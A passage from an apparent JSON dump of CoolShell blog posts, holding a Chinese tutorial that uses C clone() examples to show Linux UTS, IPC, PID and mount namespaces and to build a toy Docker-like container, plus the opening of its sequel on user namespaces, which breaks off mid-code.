class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17607.html\"><img alt=\"从 MongoDB “赎金事件” 看安全问题\" height=\"150\" src=\"../wp-content/uploads/2017/01/MongoDB-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17607.html\">从 MongoDB “赎金事件” 看安全问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2015-4-16 Docker基础技术：Linux Namespace（上）.html",
    "content": "<html><body><p><img alt=\"isolation\" class=\"alignright size-full wp-image-17085\" height=\"237\" src=\"../wp-content/uploads/2015/04/isolation.jpg\" width=\"359\"/>时下最热的技术莫过于Docker了，很多人都觉得Docker是个新技术，其实不然，Docker除了其编程语言用go比较新外，其实它还真不是个新东西，也就是个新瓶装旧酒的东西，所谓的The New “Old Stuff”。Docker和Docker衍生的东西用到了很多很酷的技术，我会用几篇 文章来把这些技术给大家做个介绍，希望通过这些文章大家可以自己打造一个山寨版的docker。</p>\n<p>当然，文章的风格一定会尊重时下的“流行”——<strong>我们再也没有整块整块的时间去看书去专研，而我们只有看微博微信那样的碎片时间</strong>（那怕我们有整块的时间，也被那些在手机上的APP碎片化了）。所以，这些文章的风格必然坚持“马桶风格”（希望简单到占用你拉一泡屎就时间，而且你还不用动脑子，并能学到些东西）</p>\n<p>废话少说，我们开始。先从Linux Namespace开始。</p>\n<h4> 简介</h4>\n<p>Linux Namespace是Linux提供的一种内核级别环境隔离的方法。不知道你是否还记得很早以前的Unix有一个叫chroot的系统调用（通过修改根目录把用户jail到一个特定目录下），chroot提供了一种简单的隔离模式：chroot内部的文件系统无法访问外部的内容。Linux Namespace在此基础上，提供了对UTS、IPC、mount、PID、network、User等的隔离机制。</p>\n<p><span id=\"more-17010\"></span></p>\n<p>举个例子，我们都知道，Linux下的超级父亲进程的PID是1，所以，同chroot一样，如果我们可以把用户的进程空间jail到某个进程分支下，并像chroot那样让其下面的进程 看到的那个超级父进程的PID为1，于是就可以达到资源隔离的效果了（不同的PID namespace中的进程无法看到彼此）</p>\n<p><b>Linux Namespace 有如下种类</b>，官方文档在这里《<a href=\"http://lwn.net/Articles/531114/\" rel=\"noopener noreferrer\" target=\"_blank\">Namespace in Operation</a>》</p>\n<table width=\"100%\">\n<thead>\n<tr>\n<th>分类</th>\n<th>系统调用参数</th>\n<th>相关内核版本</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><b>Mount namespaces</b></td>\n<td>CLONE_NEWNS</td>\n<td><a href=\"http://lwn.net/2001/0301/a/namespaces.php3\" rel=\"noopener noreferrer\" target=\"_blank\">Linux 2.4.19</a></td>\n</tr>\n<tr>\n<td><b>UTS namespaces</b></td>\n<td>CLONE_NEWUTS</td>\n<td><a href=\"http://lwn.net/Articles/179345/\" rel=\"noopener noreferrer\" target=\"_blank\">Linux 2.6.19</a></td>\n</tr>\n<tr>\n<td><b>IPC namespaces</b></td>\n<td>CLONE_NEWIPC</td>\n<td><a href=\"http://lwn.net/Articles/187274/\" rel=\"noopener noreferrer\" target=\"_blank\">Linux 2.6.19</a></td>\n</tr>\n<tr>\n<td><b>PID namespaces</b></td>\n<td>CLONE_NEWPID</td>\n<td><a href=\"http://lwn.net/Articles/259217/\" rel=\"noopener noreferrer\" target=\"_blank\">Linux 2.6.24</a></td>\n</tr>\n<tr>\n<td><b>Network namespaces</b></td>\n<td>CLONE_NEWNET</td>\n<td><a href=\"http://lwn.net/Articles/219794/\" rel=\"noopener noreferrer\" target=\"_blank\">始于Linux 2.6.24 完成于 Linux 2.6.29</a></td>\n</tr>\n<tr>\n<td><b>User namespaces</b></td>\n<td>CLONE_NEWUSER</td>\n<td><a href=\"http://lwn.net/Articles/528078/\" rel=\"noopener noreferrer\" target=\"_blank\">始于 Linux 2.6.23 完成于 Linux 3.8)</a></td>\n</tr>\n</tbody>\n</table>\n<p>主要是三个系统调用</p>\n<ul>\n<li><b><code>clone</code></b><b>() </b>– 实现线程的系统调用，用来创建一个新的进程，并可以通过设计上述参数达到隔离。</li>\n<li><b><code>unshare</code></b><b>() </b>– 使某进程脱离某个namespace</li>\n<li><b><code>setns</code></b><b>() </b>– 把某进程加入到某个namespace</li>\n</ul>\n<p>unshare() 和 setns() 都比较简单，大家可以自己man，我这里不说了。</p>\n<p>下面还是让我们来看一些示例（以下的测试程序最好在Linux 内核为3.8以上的版本中运行，我用的是ubuntu 14.04）。</p>\n<h4>clone()系统调用</h4>\n<p>首先，我们来看一下一个最简单的clone()系统调用的示例，（后面，我们的程序都会基于这个程序做修改）：</p>\n<pre class=\"EnlighterJSRAW\">#define _GNU_SOURCE\n#include &lt;sys/types.h&gt;\n#include &lt;sys/wait.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;sched.h&gt;\n#include &lt;signal.h&gt;\n#include &lt;unistd.h&gt;\n\n/* 定义一个给 clone 用的栈，栈大小1M */\n#define STACK_SIZE (1024 * 1024)\nstatic char container_stack[STACK_SIZE];\n\nchar* const container_args[] = {\n    \"/bin/bash\",\n    NULL\n};\n\nint container_main(void* arg)\n{\n    printf(\"Container - inside the container!\\n\");\n    /* 直接执行一个shell，以便我们观察这个进程空间里的资源是否被隔离了 */\n    execv(container_args[0], container_args); \n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent - start a container!\\n\");\n    /* 调用clone函数，其中传出一个函数，还有一个栈空间的（为什么传尾指针，因为栈是反着的） */\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, SIGCHLD, NULL);\n    /* 等待子进程结束 */\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}</pre>\n<p>从上面的程序，我们可以看到，这和pthread基本上是一样的玩法。但是，对于上面的程序，父子进程的进程空间是没有什么差别的，父进程能访问到的子进程也能。</p>\n<p>下面， 让我们来看几个例子看看，Linux的Namespace是什么样的。</p>\n<h4>UTS Namespace</h4>\n<p>下面的代码，我略去了上面那些头文件和数据结构的定义，只有最重要的部分。</p>\n<pre class=\"EnlighterJSRAW\">int container_main(void* arg)\n{\n    printf(\"Container - inside the container!\\n\");\n    sethostname(\"container\",10); /* 设置hostname */\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent - start a container!\\n\");\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | SIGCHLD, NULL); /*启用CLONE_NEWUTS Namespace隔离 */\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}</pre>\n<pre>运行上面的程序你会发现（需要root权限），子进程的hostname变成了 container。</pre>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ sudo ./uts\nParent - start a container!\nContainer - inside the container!\nroot@container:~# hostname\ncontainer\nroot@container:~# uname -n\ncontainer</pre>\n<h4>IPC Namespace</h4>\n<p>IPC全称 Inter-Process Communication，是Unix/Linux下进程间通信的一种方式，IPC有共享内存、信号量、消息队列等方法。所以，为了隔离，我们也需要把IPC给隔离开来，这样，只有在同一个Namespace下的进程才能相互通信。如果你熟悉IPC的原理的话，你会知道，IPC需要有一个全局的ID，即然是全局的，那么就意味着我们的Namespace需要对这个ID隔离，不能让别的Namespace的进程看到。</p>\n<p>要启动IPC隔离，我们只需要在调用clone时加上CLONE_NEWIPC参数就可以了。</p>\n<pre class=\"EnlighterJSRAW\">int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWIPC | SIGCHLD, NULL);</pre>\n<p>首先，我们先创建一个IPC的Queue（如下所示，全局的Queue ID是0）</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ ipcmk -Q \nMessage queue id: 0\n\nhchen@ubuntu:~$ ipcs -q\n------ Message Queues --------\nkey        msqid      owner      perms      used-bytes   messages    \n0xd0d56eb2 0          hchen      644        0            0</pre>\n<p>如果我们运行没有CLONE_NEWIPC的程序，我们会看到，在子进程中还是能看到这个全启的IPC Queue。</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ sudo ./uts \nParent - start a container!\nContainer - inside the container!\n\nroot@container:~# ipcs -q\n\n------ Message Queues --------\nkey        msqid      owner      perms      used-bytes   messages    \n0xd0d56eb2 0          hchen      644        0            0</pre>\n<p>但是，如果我们运行加上了CLONE_NEWIPC的程序，我们就会下面的结果：</p>\n<pre class=\"EnlighterJSRAW\">root@ubuntu:~$ sudo./ipc\nParent - start a container!\nContainer - inside the container!\n\nroot@container:~/linux_namespace# ipcs -q\n\n------ Message Queues --------\nkey        msqid      owner      perms      used-bytes   messages</pre>\n<p>我们可以看到IPC已经被隔离了。</p>\n<h4>PID Namespace</h4>\n<p>我们继续修改上面的程序：</p>\n<pre class=\"EnlighterJSRAW\">\nint container_main(void* arg)\n{\n    /* 查看子进程的PID，我们可以看到其输出子进程的 pid 为 1 */\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n    sethostname(\"container\",10);\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n    /*启用PID namespace - CLONE_NEWPID*/\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWPID | SIGCHLD, NULL); \n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}</pre>\n<p>运行结果如下（我们可以看到，子进程的pid是1了）：</p>\n<pre class=\"EnlighterJSRAW\">\nhchen@ubuntu:~$ sudo ./pid\nParent [ 3474] - start a container!\nContainer [ 1] - inside the container!\nroot@container:~# echo $$\n1</pre>\n<p>你可能会问，PID为1有个毛用啊？我们知道，在传统的UNIX系统中，PID为1的进程是init，地位非常特殊。他作为所有进程的父进程，有很多特权（比如：屏蔽信号等），另外，其还会为检查所有进程的状态，我们知道，如果某个子进程脱离了父进程（父进程没有wait它），那么init就会负责回收资源并结束这个子进程。所以，要做到进程空间的隔离，首先要创建出PID为1的进程，最好就像chroot那样，把子进程的PID在容器内变成1。</p>\n<p><strong>但是，我们会发现，在子进程的shell里输入ps,top等命令，我们还是可以看得到所有进程</strong>。说明并没有完全隔离。这是因为，像ps, top这些命令会去读/proc文件系统，所以，因为/proc文件系统在父进程和子进程都是一样的，所以这些命令显示的东西都是一样的。</p>\n<p>所以，我们还需要对文件系统进行隔离。</p>\n<h4>Mount Namespace</h4>\n<p>下面的例程中，我们在启用了mount namespace并在子进程中重新mount了/proc文件系统。</p>\n<pre class=\"EnlighterJSRAW\">int container_main(void* arg)\n{\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n    sethostname(\"container\",10);\n    /* 重新mount proc文件系统到 /proc下 */\n    system(\"mount -t proc proc /proc\");\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n    /* 启用Mount Namespace - 增加CLONE_NEWNS参数 */\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWPID | CLONE_NEWNS | SIGCHLD, NULL);\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}</pre>\n<p>运行结果如下：</p>\n<pre class=\"EnlighterJSRAW\">\nhchen@ubuntu:~$ sudo ./pid.mnt\nParent [ 3502] - start a container!\nContainer [    1] - inside the container!\nroot@container:~# ps -elf \nF S UID        PID  PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD\n4 S root         1     0  0  80   0 -  6917 wait   19:55 pts/2    00:00:00 /bin/bash\n0 R root        14     1  0  80   0 -  5671 -      19:56 pts/2    00:00:00 ps -elf\n</pre>\n<p>上面，我们可以看到只有两个进程 ，而且pid=1的进程是我们的/bin/bash。我们还可以看到/proc目录下也干净了很多：</p>\n<pre class=\"EnlighterJSRAW\">\nroot@container:~# ls /proc\n1          dma          key-users   net            sysvipc\n16         driver       kmsg        pagetypeinfo   timer_list\nacpi       execdomains  kpagecount  partitions     timer_stats\nasound     fb           kpageflags  sched_debug    tty\nbuddyinfo  filesystems  loadavg     schedstat      uptime\nbus        fs           locks       scsi           version\ncgroups    interrupts   mdstat      self           version_signature\ncmdline    iomem        meminfo     slabinfo       vmallocinfo\nconsoles   ioports      misc        softirqs       vmstat\ncpuinfo    irq          modules     stat           zoneinfo\ncrypto     kallsyms     mounts      swaps\ndevices    kcore        mpt         sys\ndiskstats  keys         mtrr        sysrq-trigger\n</pre>\n<p>下图，我们也可以看到在子进程中的top命令只看得到两个进程了。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-17020\" height=\"300\" src=\"../wp-content/uploads/2015/04/mount.namespace.jpg\" width=\"570\"/></p>\n<p>这里，多说一下。在通过CLONE_NEWNS创建mount namespace后，父进程会把自己的文件结构复制给子进程中。而子进程中新的namespace中的所有mount操作都只影响自身的文件系统，而不对外界产生任何影响。这样可以做到比较严格地隔离。</p>\n<p><!--另外，如果你熟悉mount命令，你会知道，mount命令有以下这些参数：\n\n\n<ul>\n\n\n<ol>--make-shared ： 共享方式的mount，主要是为了文件的共享和镜像。</ol>\n\n\n\n\n<ol>--make-slave ： 这种mount方式更大的意义是为了“只读”的场景，也就是从动式的mount。</ol>\n\n\n\n\n<ol>--make-private：这种mount方式主要就是为了隔离。如proc文件系统。</ol>\n\n\n\n\n<ol>--make-unbindable：标记为不可绑定。</ol>\n\n\n</ul>\n\n\n--></p>\n<p>你可能会问，我们是不是还有别的一些文件系统也需要这样mount? 是的。</p>\n<h4>Docker的 Mount Namespace</h4>\n<p>下面我将向演示一个“山寨镜像”，其模仿了Docker的Mount Namespace。</p>\n<p>首先，我们需要一个rootfs，也就是我们需要把我们要做的镜像中的那些命令什么的copy到一个rootfs的目录下，我们模仿Linux构建如下的目录：</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~/rootfs$ ls\nbin  dev  etc  home  lib  lib64  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var</pre>\n<p>然后，我们把一些我们需要的命令copy到 rootfs/bin目录中（sh命令必需要copy进去，不然我们无法 chroot ）</p>\n<pre class=\"EnlighterJSRAW\">\nhchen@ubuntu:~/rootfs$ ls ./bin ./usr/bin\n \n./bin:\nbash   chown  gzip      less  mount       netstat  rm     tabs  tee      top       tty\ncat    cp     hostname  ln    mountpoint  ping     sed    tac   test     touch     umount\nchgrp  echo   ip        ls    mv          ps       sh     tail  timeout  tr        uname\nchmod  grep   kill      more  nc          pwd      sleep  tar   toe      truncate  which\n\n./usr/bin:\nawk  env  groups  head  id  mesg  sort  strace  tail  top  uniq  vi  wc  xargs\n</pre>\n<p>注：你可以使用ldd命令把这些命令相关的那些so文件copy到对应的目录：</p>\n<pre class=\"EnlighterJSRAW\">\nhchen@ubuntu:~/rootfs/bin$ ldd bash\n  linux-vdso.so.1 =&gt;  (0x00007fffd33fc000)\n  libtinfo.so.5 =&gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f4bd42c2000)\n  libdl.so.2 =&gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4bd40be000)\n  libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4bd3cf8000)\n  /lib64/ld-linux-x86-64.so.2 (0x00007f4bd4504000)\n</pre>\n<p>下面是我的rootfs中的一些so文件：</p>\n<pre class=\"EnlighterJSRAW\">\nhchen@ubuntu:~/rootfs$ ls ./lib64 ./lib/x86_64-linux-gnu/\n\n./lib64:\nld-linux-x86-64.so.2\n\n./lib/x86_64-linux-gnu/:\nlibacl.so.1      libmemusage.so         libnss_files-2.19.so    libpython3.4m.so.1\nlibacl.so.1.1.0  libmount.so.1          libnss_files.so.2       libpython3.4m.so.1.0\nlibattr.so.1     libmount.so.1.1.0      libnss_hesiod-2.19.so   libresolv-2.19.so\nlibblkid.so.1    libm.so.6              libnss_hesiod.so.2      libresolv.so.2\nlibc-2.19.so     libncurses.so.5        libnss_nis-2.19.so      libselinux.so.1\nlibcap.a         libncurses.so.5.9      libnss_nisplus-2.19.so  libtinfo.so.5\nlibcap.so        libncursesw.so.5       libnss_nisplus.so.2     libtinfo.so.5.9\nlibcap.so.2      libncursesw.so.5.9     libnss_nis.so.2         libutil-2.19.so\nlibcap.so.2.24   libnsl-2.19.so         libpcre.so.3            libutil.so.1\nlibc.so.6        libnsl.so.1            libprocps.so.3          libuuid.so.1\nlibdl-2.19.so    libnss_compat-2.19.so  libpthread-2.19.so      libz.so.1\nlibdl.so.2       libnss_compat.so.2     libpthread.so.0\nlibgpm.so.2      libnss_dns-2.19.so     libpython2.7.so.1\nlibm-2.19.so     libnss_dns.so.2        libpython2.7.so.1.0\n</pre>\n<p>包括这些命令依赖的一些配置文件：</p>\n<pre class=\"EnlighterJSRAW\">\nhchen@ubuntu:~/rootfs$ ls ./etc\nbash.bashrc  group  hostname  hosts  ld.so.cache  nsswitch.conf  passwd  profile  \nresolv.conf  shadow\n</pre>\n<p>你现在会说，我靠，有些配置我希望是在容器起动时给他设置的，而不是hard code在镜像中的。比如：/etc/hosts，/etc/hostname，还有DNS的/etc/resolv.conf文件。好的。那我们在rootfs外面，我们再创建一个conf目录，把这些文件放到这个目录中。</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ ls ./conf\nhostname     hosts     resolv.conf</pre>\n<p>这样，我们的父进程就可以动态地设置容器需要的这些文件的配置， 然后再把他们mount进容器，这样，容器的镜像中的配置就比较灵活了。</p>\n<p>好了，终于到了我们的程序。</p>\n<pre class=\"EnlighterJSRAW\">\n#define _GNU_SOURCE\n#include types.h&gt;\n#include wait.h&gt;\n#include mount.h&gt;\n#include \n#include \n#include \n#include \n\n#define STACK_SIZE (1024 * 1024)\n\nstatic char container_stack[STACK_SIZE];\nchar* const container_args[] = {\n    \"bin/bash\",\n    \"-l\",\n    NULL\n};\n\nint container_main(void* arg)\n{\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n\n    //set hostname\n    sethostname(\"container\",10);\n\n    //remount \"/proc\" to make sure the \"top\" and \"ps\" show container's information\n    if (mount(\"proc\", \"rootfs/proc\", \"proc\", 0, NULL) !=0 ) {\n        perror(\"proc\");\n    }\n    if (mount(\"sysfs\", \"rootfs/sys\", \"sysfs\", 0, NULL)!=0) {\n        perror(\"sys\");\n    }\n    if (mount(\"none\", \"rootfs/tmp\", \"tmpfs\", 0, NULL)!=0) {\n        perror(\"tmp\");\n    }\n    if (mount(\"udev\", \"rootfs/dev\", \"devtmpfs\", 0, NULL)!=0) {\n        perror(\"dev\");\n    }\n    if (mount(\"devpts\", \"rootfs/dev/pts\", \"devpts\", 0, NULL)!=0) {\n        perror(\"dev/pts\");\n    }\n    if (mount(\"shm\", \"rootfs/dev/shm\", \"tmpfs\", 0, NULL)!=0) {\n        perror(\"dev/shm\");\n    }\n    if (mount(\"tmpfs\", \"rootfs/run\", \"tmpfs\", 0, NULL)!=0) {\n        perror(\"run\");\n    }\n    /* \n     * 模仿Docker的从外向容器里mount相关的配置文件 \n     * 你可以查看：/var/lib/docker/containers//目录，\n     * 你会看到docker的这些文件的。\n     */\n    if (mount(\"conf/hosts\", \"rootfs/etc/hosts\", \"none\", MS_BIND, NULL)!=0 ||\n          mount(\"conf/hostname\", \"rootfs/etc/hostname\", \"none\", MS_BIND, NULL)!=0 ||\n          mount(\"conf/resolv.conf\", \"rootfs/etc/resolv.conf\", \"none\", MS_BIND, NULL)!=0 ) {\n        perror(\"conf\");\n    }\n    /* 模仿docker run命令中的 -v, --volume=[] 参数干的事 */\n    if (mount(\"/tmp/t1\", \"rootfs/mnt\", \"none\", MS_BIND, NULL)!=0) {\n        perror(\"mnt\");\n    }\n\n    /* chroot 隔离目录 */\n    if ( chdir(\"./rootfs\") != 0 || chroot(\"./\") != 0 ){\n        perror(\"chdir/chroot\");\n    }\n\n    execv(container_args[0], container_args);\n    perror(\"exec\");\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS | SIGCHLD, NULL);\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}\n</pre>\n<p>sudo运行上面的程序，你会看到下面的挂载信息以及一个所谓的“镜像”：</p>\n<pre class=\"EnlighterJSRAW\">\nhchen@ubuntu:~$ sudo ./mount \nParent [ 4517] - start a container!\nContainer [    1] - inside the container!\nroot@container:/# mount\nproc on /proc type proc (rw,relatime)\nsysfs on /sys type sysfs (rw,relatime)\nnone on /tmp type tmpfs (rw,relatime)\nudev on /dev type devtmpfs (rw,relatime,size=493976k,nr_inodes=123494,mode=755)\ndevpts on /dev/pts type devpts (rw,relatime,mode=600,ptmxmode=000)\ntmpfs on /run type tmpfs (rw,relatime)\n/dev/disk/by-uuid/18086e3b-d805-4515-9e91-7efb2fe5c0e2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n/dev/disk/by-uuid/18086e3b-d805-4515-9e91-7efb2fe5c0e2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n/dev/disk/by-uuid/18086e3b-d805-4515-9e91-7efb2fe5c0e2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n\nroot@container:/# ls /bin /usr/bin\n/bin:\nbash   chmod  echo  hostname  less  more  mv   ping  rm   sleep  tail  test    top   truncate  uname\ncat    chown  grep  ip        ln    mount  nc   ps    sed  tabs   tar   timeout  touch  tty     which\nchgrp  cp     gzip  kill      ls    mountpoint  netstat  pwd   sh   tac    tee   toe    tr   umount\n\n/usr/bin:\nawk  env  groups  head  id  mesg  sort  strace  tail  top  uniq  vi  wc  xargs\n</pre>\n<p>关于如何做一个chroot的目录，这里有个工具叫<a href=\"https://wiki.ubuntu.com/DebootstrapChroot\" rel=\"noopener noreferrer\" target=\"_blank\">DebootstrapChroot</a>，你可以顺着链接去看看（英文的哦）</p>\n<p>接下来的事情，你可以自己玩了，我相信你的想像力 。：）</p>\n<p>在下一篇，我将向你介绍User Namespace、Network Namespace以及Namespace的其它东西。</p>\n<p align=\"center\"><strong> <a href=\"https://coolshell.cn/articles/17029.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"Docker基础技术：Linux Namespace（下）\"> &lt;&lt;&lt;&lt; Docker基础技术：Linux Namespace（下）&gt;&gt;&gt;&gt; </a></strong></p>\n<p>（上篇完，<a href=\"https://coolshell.cn/articles/17029.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"Docker基础技术：Linux Namespace（下）\">请参看下篇</a>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17029.html\"><img alt=\"Docker基础技术：Linux Namespace（下）\" height=\"150\" src=\"../wp-content/uploads/2015/04/jail_cell-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17200.html\"><img alt=\"Docker基础技术：DeviceMapper\" height=\"150\" src=\"../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17200.html\">Docker基础技术：DeviceMapper</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17061.html\"><img alt=\"Docker基础技术：AUFS\" height=\"150\" src=\"../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17049.html\"><img alt=\"Docker基础技术：Linux CGroup\" height=\"150\" src=\"../wp-content/uploads/2015/04/filter-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17049.html\">Docker基础技术：Linux CGroup</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17010.html\">Docker基础技术：Linux Namespace（上）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2015-4-16 Docker基础技术：Linux Namespace（下）.html",
    "content": "<html><body><p><img alt=\"jail_cell\" class=\"alignright size-full wp-image-17084\" height=\"252\" src=\"../wp-content/uploads/2015/04/jail_cell.jpg\" width=\"350\"/>在 <strong><a href=\"https://coolshell.cn/articles/17010.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"Docker基础技术：Linux Namespace（上）\">Docker基础技术：Linux Namespace（上篇）</a></strong>中我们了解了，UTD、IPC、PID、Mount 四个namespace，我们模仿Docker做了一个相当相当山寨的镜像。在这一篇中，主要想向大家介绍Linux的User和Network的Namespace。</p>\n<p>好，下面我们就介绍一下还剩下的这两个Namespace。</p>\n<h4>User Namespace</h4>\n<p>User Namespace主要是用了CLONE_NEWUSER的参数。使用了这个参数后，内部看到的UID和GID已经与外部不同了，默认显示为65534。那是因为容器找不到其真正的UID所以，设置上了最大的UID（其设置定义在/proc/sys/kernel/overflowuid）。</p>\n<p>要把容器中的uid和真实系统的uid给映射在一起，需要修改 <strong>/proc/&lt;pid&gt;/uid_map</strong> 和 <strong>/proc/&lt;pid&gt;/gid_map</strong> 这两个文件。这两个文件的格式为：</p>\n<p><code><code></code></code><strong>ID-inside-ns ID-outside-ns length</strong></p>\n<p>其中：</p>\n<p><span id=\"more-17029\"></span></p>\n<ul>\n<li>第一个字段ID-inside-ns表示在容器显示的UID或GID，</li>\n<li>第二个字段ID-outside-ns表示容器外映射的真实的UID或GID。</li>\n<li>第三个字段表示映射的范围，一般填1，表示一一对应。</li>\n</ul>\n<p>比如，把真实的uid=1000映射成容器内的uid=0</p>\n<pre class=\"EnlighterJSRAW\">$ cat /proc/2465/uid_map\n         0       1000          1</pre>\n<p>再比如下面的示例：表示把namespace内部从0开始的uid映射到外部从0开始的uid，其最大范围是无符号32位整形</p>\n<pre class=\"EnlighterJSRAW\">$ cat /proc/$$/uid_map\n         0          0          4294967295</pre>\n<p>另外，需要注意的是：</p>\n<ul>\n<li>写这两个文件的进程需要这个namespace中的CAP_SETUID (CAP_SETGID)权限（可参看<a href=\"http://man7.org/linux/man-pages/man7/capabilities.7.html\" rel=\"noopener noreferrer\" target=\"_blank\">Capabilities</a>）</li>\n<li>写入的进程必须是此user namespace的父或子的user namespace进程。</li>\n<li>另外需要满如下条件之一：1）父进程将effective uid/gid映射到子进程的user namespace中，2）父进程如果有CAP_SETUID/CAP_SETGID权限，那么它将可以映射到父进程中的任一uid/gid。</li>\n</ul>\n<p>这些规则看着都烦，我们来看程序吧（下面的程序有点长，但是非常简单，如果你读过《Unix网络编程》上卷，你应该可以看懂）：</p>\n<pre class=\"EnlighterJSRAW\">#define _GNU_SOURCE\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;sys/wait.h&gt;\n#include &lt;sys/mount.h&gt;\n#include &lt;sys/capability.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;sched.h&gt;\n#include &lt;signal.h&gt;\n#include &lt;unistd.h&gt;\n\n#define 